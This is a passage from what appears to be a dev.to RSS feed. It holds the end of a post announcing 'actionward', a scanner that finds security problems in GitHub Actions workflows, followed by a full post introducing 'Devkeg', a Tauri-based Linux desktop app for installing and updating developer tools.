&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actionward&lt;/span&gt;
&lt;span class="na"&gt;on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;pull_request&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;

&lt;span class="na"&gt;permissions&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;contents&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;read&lt;/span&gt;
  &lt;span class="na"&gt;security-events&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;write&lt;/span&gt;   &lt;span class="c1"&gt;# needed to upload SARIF&lt;/span&gt;

&lt;span class="na"&gt;jobs&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;scan&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;runs-on&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;ubuntu-latest&lt;/span&gt;
    &lt;span class="na"&gt;steps&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683&lt;/span&gt; &lt;span class="c1"&gt;# v4.2.2&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;jay-tank/actionward@v0.1.0&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;format&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;sarif&lt;/span&gt;
          &lt;span class="na"&gt;output&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actionward.sarif&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;uses&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;github/codeql-action/upload-sarif@v3&lt;/span&gt;
        &lt;span class="na"&gt;with&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
          &lt;span class="na"&gt;sarif_file&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;actionward.sarif&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Prefer to keep it lean? Build the binary in the job and run &lt;code&gt;actionward scan .&lt;/code&gt;&lt;br&gt;
directly - same result, one fewer moving part.&lt;/p&gt;
&lt;h2&gt;
  
  
  Adopting it in an existing repo
&lt;/h2&gt;

&lt;p&gt;Turning a scanner on for a repo that already has a dozen findings is how&lt;br&gt;
scanners get ignored. actionward has a &lt;code&gt;--baseline&lt;/code&gt; mode for exactly this: it&lt;br&gt;
records today's findings and then only gates on &lt;strong&gt;new&lt;/strong&gt; ones, so your build goes&lt;br&gt;
green immediately and you burn down the backlog on your own schedule.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# record current findings once, commit the baseline&lt;/span&gt;
./actionward scan &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;--baseline&lt;/span&gt; .actionward-baseline.json

&lt;span class="c"&gt;# later runs fail only on findings not in the baseline&lt;/span&gt;
./actionward scan &lt;span class="nb"&gt;.&lt;/span&gt; &lt;span class="nt"&gt;--baseline&lt;/span&gt; .actionward-baseline.json
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;For the handful of findings you've reviewed and consciously accept, there's a&lt;br&gt;
project-level &lt;strong&gt;&lt;code&gt;.actionward.yml&lt;/code&gt;&lt;/strong&gt; config and an inline &lt;strong&gt;&lt;code&gt;# actionward:ignore&lt;/code&gt;&lt;/strong&gt;&lt;br&gt;
comment for a single line. No editing source to silence a rule globally when you&lt;br&gt;
only meant to accept one case.&lt;/p&gt;

&lt;h2&gt;
  
  
  Where it's going
&lt;/h2&gt;

&lt;p&gt;v0.1.0 is deliberately small: scan, explain, gate - offline. On the roadmap are&lt;br&gt;
an &lt;strong&gt;auto-fix&lt;/strong&gt; mode (apply the &lt;code&gt;env:&lt;/code&gt; rewrite for you) and &lt;strong&gt;SHA pinning&lt;/strong&gt;&lt;br&gt;
assistance so the fixes above become one command instead of a manual edit. Those&lt;br&gt;
aren't shipped yet; the 14 rules and SARIF output are.&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;Repo: &lt;strong&gt;&lt;a href="https://github.com/jay-tank/actionward" rel="noopener noreferrer"&gt;https://github.com/jay-tank/actionward&lt;/a&gt;&lt;/strong&gt; - clone, &lt;code&gt;go build&lt;/code&gt;, &lt;code&gt;scan .&lt;/code&gt;,&lt;br&gt;
and see what your workflows have been hiding.&lt;/p&gt;

&lt;p&gt;If you want the background on &lt;em&gt;why&lt;/em&gt; each rule exists, GitHub's own&lt;br&gt;
&lt;a href="https://docs.github.com/en/actions/security-guides/security-hardening-for-github-actions" rel="noopener noreferrer"&gt;security hardening for GitHub Actions&lt;/a&gt;&lt;br&gt;
is the canonical reference and pairs well with running the scanner.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Jay Tank&lt;/li&gt;
&lt;/ul&gt;

</description>
      <category>cli</category>
      <category>github</category>
      <category>security</category>
      <category>tooling</category>
    </item>
    <item>
      <title>I built Devkeg: a desktop control center for your dev tools</title>
      <dc:creator>TANK JAY</dc:creator>
      <pubDate>Wed, 29 Jul 2026 04:01:57 +0000</pubDate>
      <link>https://dev.to/jaytank/i-built-devkeg-a-desktop-control-center-for-your-dev-tools-mg2</link>
      <guid>https://dev.to/jaytank/i-built-devkeg-a-desktop-control-center-for-your-dev-tools-mg2</guid>
      <description>&lt;p&gt;Setting up a fresh developer machine is death by a thousand commands. You hunt down install&lt;br&gt;
instructions, juggle &lt;code&gt;apt&lt;/code&gt;, &lt;code&gt;dnf&lt;/code&gt;, &lt;code&gt;pacman&lt;/code&gt;, &lt;code&gt;brew&lt;/code&gt;, and &lt;code&gt;curl | bash&lt;/code&gt;, patch your &lt;code&gt;PATH&lt;/code&gt;, and then&lt;br&gt;
spend the next six months quietly fighting version drift. There's no single, friendly place that just&lt;br&gt;
tells you &lt;em&gt;what's installed, what's outdated, and how to fix it.&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;So I built one. It's called &lt;strong&gt;Devkeg&lt;/strong&gt; — a desktop app that detects, installs, updates, and&lt;br&gt;
uninstalls your developer and DevOps tools from one clean UI.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;TL;DR&lt;/strong&gt; — Devkeg is a Linux desktop app (Tauri + Rust + SvelteKit) that puts a GUI on top of&lt;br&gt;
proven package managers (&lt;code&gt;mise&lt;/code&gt; + your distro's) instead of reinventing installers. Open source:&lt;br&gt;
&lt;strong&gt;&lt;a href="https://github.com/jay-tank/devkeg" rel="noopener noreferrer"&gt;https://github.com/jay-tank/devkeg&lt;/a&gt;&lt;/strong&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;
  
  
  The problem: your toolchain has no dashboard
&lt;/h2&gt;

&lt;p&gt;Every other part of your stack has a dashboard — your cloud bill, your CI, your observability. But&lt;br&gt;
the tools &lt;em&gt;on your own machine&lt;/em&gt; live in a fog. Which are installed? Which are behind? The CLI tools&lt;br&gt;
that manage this (&lt;code&gt;mise&lt;/code&gt;, &lt;code&gt;asdf&lt;/code&gt;, distro managers) are powerful but CLI-only and fragmented. There's&lt;br&gt;
no visual control center. That's the gap Devkeg fills.&lt;/p&gt;
&lt;h2&gt;
  
  
  The one decision that shaped everything: orchestrate, don't reinvent
&lt;/h2&gt;

&lt;p&gt;The tempting mistake is to write your own installers for 20+ tools — a bottomless pit of edge cases,&lt;br&gt;
and every line a way to break someone's machine. Devkeg does the opposite. It's an &lt;strong&gt;orchestration&lt;br&gt;
layer over proven backends&lt;/strong&gt;: &lt;a href="https://mise.jdx.dev" rel="noopener noreferrer"&gt;mise&lt;/a&gt; for languages/runtimes/tools in user&lt;br&gt;
space, and your distro's package manager for system packages. Devkeg's job is the &lt;em&gt;experience&lt;/em&gt; — not&lt;br&gt;
reimplementing what mise and apt already do well. Every install path we &lt;strong&gt;don't&lt;/strong&gt; write is a bug our&lt;br&gt;
users can't hit.&lt;/p&gt;
&lt;h2&gt;
  
  
  Architecture
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0pjwn7juj0q60x7ez4e4.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Farticles%2F0pjwn7juj0q60x7ez4e4.png" alt=" " width="800" height="383"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Adding a new tool doesn't touch the core — it's just a small TOML file (data, not code):&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight toml"&gt;&lt;code&gt;&lt;span class="c"&gt;# registry/kubectl.toml&lt;/span&gt;
&lt;span class="py"&gt;name&lt;/span&gt;        &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"kubectl"&lt;/span&gt;
&lt;span class="py"&gt;category&lt;/span&gt;    &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"container"&lt;/span&gt;
&lt;span class="py"&gt;detect_cmd&lt;/span&gt;  &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"kubectl"&lt;/span&gt;
&lt;span class="py"&gt;detect_args&lt;/span&gt; &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s"&gt;"version"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"--client"&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="py"&gt;backend&lt;/span&gt;     &lt;span class="p"&gt;=&lt;/span&gt; &lt;span class="s"&gt;"distro"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h2&gt;
  
  
  Why Tauri instead of Electron
&lt;/h2&gt;

&lt;p&gt;The UI is web tech, so Electron was the obvious default. I didn't use it. For a developer tool,&lt;br&gt;
footprint is a feature: a comparable Electron app ships ~120 MB and idles at 200 MB+ RAM; the&lt;br&gt;
equivalent &lt;strong&gt;Tauri&lt;/strong&gt; build is a &lt;strong&gt;~4 MB binary&lt;/strong&gt; on the system WebView. Shipping a bloated app to&lt;br&gt;
manage other apps would be a bad look — and Tauri's Rust core gives safe subprocess handling for free.&lt;/p&gt;
&lt;h2&gt;
  
  
  Reliability: the boring guarantees that matter
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;User-space first.&lt;/strong&gt; Prefer mise (installs to &lt;code&gt;~/.local&lt;/code&gt;) so most actions need no root. When
elevation is genuinely required, prompt explicitly via &lt;code&gt;pkexec&lt;/code&gt; — never silently &lt;code&gt;sudo&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Verify everything.&lt;/strong&gt; After each install/update, Devkeg re-detects the tool and confirms it runs,
returning a structured result. No silent half-installs.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Correct root detection.&lt;/strong&gt; The elevation decision uses the real effective UID (&lt;code&gt;geteuid()&lt;/code&gt;), not
brittle environment guesses.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;
  
  
  A lesson that cost me a rebuild: the glibc trap
&lt;/h2&gt;

&lt;p&gt;I built the &lt;code&gt;.deb&lt;/code&gt; on Ubuntu 24.04, it worked in my container, then refused to launch on Ubuntu 22.04:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;devkeg: /lib/x86_64-linux-gnu/libc.so.6: version `GLIBC_2.39' not found
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;glibc is &lt;strong&gt;forward&lt;/strong&gt;-compatible, not backward — a binary built against 24.04's glibc (2.39) can't run&lt;br&gt;
on 22.04's (2.35). The rule:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Build release binaries on the oldest distro you intend to support.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;I moved the release build to Ubuntu 22.04 and pinned it in CI (&lt;code&gt;runs-on: ubuntu-22.04&lt;/code&gt;) so the mistake&lt;br&gt;
can't return.&lt;/p&gt;

&lt;h2&gt;
  
  
  Packaging and CI
&lt;/h2&gt;

&lt;p&gt;Devkeg ships as a &lt;strong&gt;.deb&lt;/strong&gt; and an &lt;strong&gt;AppImage&lt;/strong&gt;, built by GitHub Actions. A &lt;code&gt;v*&lt;/code&gt; tag triggers a&lt;br&gt;
workflow that builds both on Ubuntu 22.04 and attaches them to the GitHub Release. Third-party actions&lt;br&gt;
are pinned to commit SHAs.&lt;/p&gt;

&lt;h2&gt;
  
  
  What's next
&lt;/h2&gt;

&lt;p&gt;v0.1 is the "control center": detect + install/update/uninstall across ~17 tools. Next up: environment&lt;br&gt;
profiles with export/import, health checks and recommendations, a community plugin registry, then&lt;br&gt;
macOS (the backends are already OS-isolated).&lt;/p&gt;

&lt;h2&gt;
  
  
  Try it
&lt;/h2&gt;

&lt;p&gt;Devkeg is open source (MIT). Grab the &lt;code&gt;.deb&lt;/code&gt; or AppImage from the releases page, or read the code:&lt;br&gt;
&lt;strong&gt;&lt;a href="https://github.com/jay-tank/devkeg" rel="noopener noreferrer"&gt;https://github.com/jay-tank/devkeg&lt;/a&gt;&lt;/strong&gt;. If you build developer tools, I'd love feedback on the&lt;br&gt;
"orchestrate, don't reinvent" bet the whole project rests on.&lt;/p&gt;

</description>
      <category>devops</category>
      <category>rust</category>
      <category>tauri</category>
      <category>linux</category>
    </item>
  </channel>
</rss>
